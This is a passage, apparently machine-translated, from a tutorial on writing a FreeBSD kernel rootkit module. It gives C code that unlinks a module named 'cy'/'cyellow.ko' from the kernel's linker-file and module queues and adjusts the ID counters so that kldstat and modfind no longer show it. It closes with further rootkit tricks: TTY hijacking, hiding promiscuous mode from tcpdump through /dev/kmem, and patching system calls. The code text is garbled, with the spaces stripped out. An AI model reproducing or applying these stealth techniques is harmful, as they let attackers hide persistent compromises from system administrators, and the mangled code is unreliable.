Topsy FreeBSD kernel module (2)

3.6. Hide Module

Important, of course we have to hide the module itself (kldstat|kldstat-v difference;)

We have mentioned earlier that a series of files (. ko) has been maintained in the kernel, which is a queue linker_files (this is a linker_file-structured queue). So we want to first hide the file itself, the queue linker_files defined in/SYS/KERN/KERN_LINKER.C In addition it has a counting unit defined in next_file_id, this

Number should be the number of files now +1. So we have to decrement it first, the same one with a reference value that the kernel uses to count, and now remove the module from the queue

　　　　　　externlinker_file_list_tlinker_files;
　　　　　　 externintnext_file_id;
　　　　　　 externstructlocklock;
　　　　　　 [...]
　　　　　　 linker_file_tlf=0;
　　　　　　 /*lockexclusive,sincewechangethings*/
　　　　　　 lockmgr(&lock,LK_EXCLUSIVE,0,curproc);
　　　　　　 (&linker_files)->tqh_first->refs--;
　　　　　　 TAILQ_FOREACH(lf,&linker_files,link){　　//宏定义遍历队列得到linker_file结构
　　　　　　　　 if(!strcmp(lf->filename,"cyellow.ko")){
　　　　　　　　　 /*firstlet'sdecrementthegloballinkfilecounter*/
　　　　　　　　　 next_file_id--;
　　　　　　　　　 /*nowlet'sremovetheentry*/
　　　　　　　　　 TAILQ_REMOVE(&linker_files,lf,link);//从队列中删除
　　　　　　　　　 break;　　
　　　　　　　　 }
　　　　　　 }
　　　　　　 lockmgr(&lock,LK_RELEASE,0,curproc);

The next step is to remove the module from the module queue as well as the file queue, which also has reference counting and module count units.

　　　　　　externmodulelist_tmodules;
　　　　　　 externintnextid;
　　　　　　 [...]
　　　　　　 module_tmod=0;
　　　　　　 TAILQ_FOREACH(mod,&modules,link){
　　　　　　　　 if(!strcmp(mod->name,"cy")){
　　　　　　　　　　 /*firstlet'spatchtheinternalIDcounter*/
　　　　　　　　　　 nextid--;
　　　
　　　　　　　　　　 TAILQ_REMOVE(&modules,mod,link);
　　　　　　　　 }
　　　　　　 }
　　　　　　 [...]

Now we see that the Kldstat output module disappears, and that when it is eliminated from the module queue, we can't find it with Modfind, just when your module contains system calls. However, we can refer to it manually by calculating the offset, and if no other module is loaded, it is usually 210,cy that allows you to specify the offset value, which I believe may be another way to find it.

3.6 Other applications

There are other things that can be done with a kernel module, such as TTY hijacking, the promiscuous mode of hiding the interface, or a system call to change the kernel patches below the process UID 0. Hide the interface of the promiscuous mode, modify the/dev/kmem, just to give the pretext of the logo 0 on it, in this case, even if someone uses the Tcpdump interface mode will not be mixed. （:)）

Of course you can get a lot of interesting things through/dev/kmem;